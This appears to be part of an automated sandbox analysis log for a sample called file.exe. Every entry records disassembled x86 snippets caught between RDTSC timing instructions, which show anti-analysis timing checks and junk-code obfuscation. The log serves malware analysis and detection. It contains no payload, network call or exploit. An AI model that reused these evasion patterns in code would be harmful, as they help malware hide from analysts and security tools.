Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143DFB3 second address: 143DFBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007EFC80C37996h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143DFBF second address: 143DFCE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007EFC80C0D646h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1446720 second address: 1446727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1444AB2 second address: 1444ABC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1444ABC second address: 1444AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC80C379A1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1444AD1 second address: 1444AD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1444DB2 second address: 1444DBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007EFC80C37996h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1444F27 second address: 1444F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC80C0D652h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14451E4 second address: 14451F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007EFC80C3799Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144537F second address: 144538F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007EFC80C0D64Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144538F second address: 1445393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1445393 second address: 14453A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14453A3 second address: 14453B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007EFC80C37996h 0x0000000a popad 0x0000000b jmp 00007EFC80C3799Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1445EF2 second address: 1445F2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC80C0D658h 0x00000009 pop ebx 0x0000000a jmp 00007EFC80C0D64Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007EFC80C0D64Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1445F2D second address: 1445F43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007EFC80C37996h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007EFC80C37996h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1445F43 second address: 1445F47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144DB58 second address: 144DB68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007EFC80C3799Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144DB68 second address: 144DB82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007EFC80C0D653h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144DE6D second address: 144DE77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144DE77 second address: 144DE92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC80C0D655h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B3CE second address: 145B3D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B3D3 second address: 145B3DD instructions: 0x00000000 rdtsc 0x00000002 je 00007EFC80C0D64Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B52A second address: 145B535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B535 second address: 145B539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1470A2A second address: 1470A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1470A30 second address: 1470A34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1470A34 second address: 1470A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007EFC80C379A5h 0x0000000d push edx 0x0000000e jmp 00007EFC80C379A0h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147AFB9 second address: 147AFCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147AFCB second address: 147AFCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138AB13 second address: 138AB17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138AB17 second address: 138AB1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14798A4 second address: 14798C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D64Fh 0x00000007 jmp 00007EFC80C0D64Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14798C4 second address: 14798E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C379A7h 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1479FE0 second address: 147A01F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pushad 0x0000000a jnp 00007EFC80C0D646h 0x00000010 jnp 00007EFC80C0D646h 0x00000016 push edx 0x00000017 pop edx 0x00000018 popad 0x00000019 pop esi 0x0000001a pushad 0x0000001b push edi 0x0000001c jng 00007EFC80C0D646h 0x00000022 pop edi 0x00000023 jnc 00007EFC80C0D658h 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147A01F second address: 147A023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147A023 second address: 147A027 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147ACB5 second address: 147ACB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147ACB9 second address: 147ACC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147ACC5 second address: 147ACCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147ACCB second address: 147ACCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147ACCF second address: 147ACD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1486410 second address: 148641E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007EFC80C0D646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149929F second address: 14992D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC80C379A8h 0x00000009 pop ebx 0x0000000a jo 00007EFC80C37998h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007EFC80C3799Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149ADDB second address: 149ADF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007EFC80C0D654h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149ADF6 second address: 149ADFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149ADFB second address: 149AE01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149DB2A second address: 149DB30 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149DB30 second address: 149DB36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B2E98 second address: 14B2E9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B2E9D second address: 14B2EA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B2EA3 second address: 14B2EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B2EAC second address: 14B2EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B2EB0 second address: 14B2EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B2EBC second address: 14B2EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B2EC4 second address: 14B2EDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b jnp 00007EFC80C3799Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B2EDD second address: 14B2EE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B32BC second address: 14B32C6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007EFC80C37996h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B32C6 second address: 14B32F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D658h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007EFC80C0D651h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B36F4 second address: 14B3701 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 js 00007EFC80C379A2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B5139 second address: 14B5170 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007EFC80C0D646h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007EFC80C0D652h 0x00000012 popad 0x00000013 pushad 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jnp 00007EFC80C0D646h 0x0000001d popad 0x0000001e pushad 0x0000001f jnl 00007EFC80C0D646h 0x00000025 push esi 0x00000026 pop esi 0x00000027 push eax 0x00000028 pop eax 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7BDC second address: 14B7BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7BE1 second address: 14B7C20 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFC80C0D65Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007EFC80C0D655h 0x00000011 jng 00007EFC80C0D64Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7F18 second address: 14B7F1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7F1E second address: 14B7FB6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnc 00007EFC80C0D646h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007EFC80C0D651h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007EFC80C0D648h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d pushad 0x0000002e and edx, dword ptr [ebp+122D2D89h] 0x00000034 xor dword ptr [ebp+122D35D4h], eax 0x0000003a popad 0x0000003b push 00000004h 0x0000003d push 00000000h 0x0000003f push ecx 0x00000040 call 00007EFC80C0D648h 0x00000045 pop ecx 0x00000046 mov dword ptr [esp+04h], ecx 0x0000004a add dword ptr [esp+04h], 00000019h 0x00000052 inc ecx 0x00000053 push ecx 0x00000054 ret 0x00000055 pop ecx 0x00000056 ret 0x00000057 or edx, dword ptr [ebp+122D2F1Dh] 0x0000005d pushad 0x0000005e mov esi, dword ptr [ebp+122D36E8h] 0x00000064 jp 00007EFC80C0D653h 0x0000006a popad 0x0000006b push 111FC231h 0x00000070 push esi 0x00000071 pushad 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BB5C7 second address: 14BB5CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BB13E second address: 14BB143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BB143 second address: 14BB149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100286 second address: 510031D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 jmp 00007EFC80C0D64Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007EFC80C0D654h 0x00000015 xor ecx, 1AEFFB28h 0x0000001b jmp 00007EFC80C0D64Bh 0x00000020 popfd 0x00000021 mov dl, ah 0x00000023 popad 0x00000024 push eax 0x00000025 jmp 00007EFC80C0D652h 0x0000002a xchg eax, ebp 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007EFC80C0D64Eh 0x00000032 and ax, 08B8h 0x00000037 jmp 00007EFC80C0D64Bh 0x0000003c popfd 0x0000003d mov bx, cx 0x00000040 popad 0x00000041 mov ebp, esp 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 jmp 00007EFC80C0D657h 0x0000004b push eax 0x0000004c pop edx 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100388 second address: 5100406 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007EFC80C379A2h 0x00000008 adc ah, FFFFFF98h 0x0000000b jmp 00007EFC80C3799Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov dh, ch 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 push esi 0x0000001a pushfd 0x0000001b jmp 00007EFC80C379A3h 0x00000020 add si, 720Eh 0x00000025 jmp 00007EFC80C379A9h 0x0000002a popfd 0x0000002b pop esi 0x0000002c popad 0x0000002d pop ebp 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 push esi 0x00000032 pop edx 0x00000033 call 00007EFC80C379A4h 0x00000038 pop esi 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100465 second address: 510048B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007EFC80C0D64Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100541 second address: 5100573 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007EFC80C3799Dh 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007EFC80C379A6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100573 second address: 5100582 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D64Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100582 second address: 5100598 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 31EAh 0x00000007 mov al, dl 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100598 second address: 510059C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510059C second address: 51005A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51005A2 second address: 5100611 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007EFC80C0D653h 0x00000013 adc si, 509Eh 0x00000018 jmp 00007EFC80C0D659h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007EFC80C0D650h 0x00000024 or si, 3298h 0x00000029 jmp 00007EFC80C0D64Bh 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100611 second address: 5100639 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C379A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007EFCF1D6B35Ah 0x0000000e push 762327D0h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [762C0140h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100639 second address: 510064C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D64Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510064C second address: 5100652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100652 second address: 5100656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100656 second address: 510069A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [ebp-04h], 00000000h 0x0000000c jmp 00007EFC80C379A7h 0x00000011 mov edx, dword ptr [ebp+0Ch] 0x00000014 jmp 00007EFC80C379A6h 0x00000019 mov esi, edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510069A second address: 51006B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D659h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51006B7 second address: 51006BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51006BD second address: 51006E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D653h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edx] 0x0000000d pushad 0x0000000e mov di, si 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51006E0 second address: 510071B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007EFC80C3799Ch 0x00000008 sbb si, 80D8h 0x0000000d jmp 00007EFC80C3799Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 inc edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007EFC80C379A5h 0x0000001e rdtsc
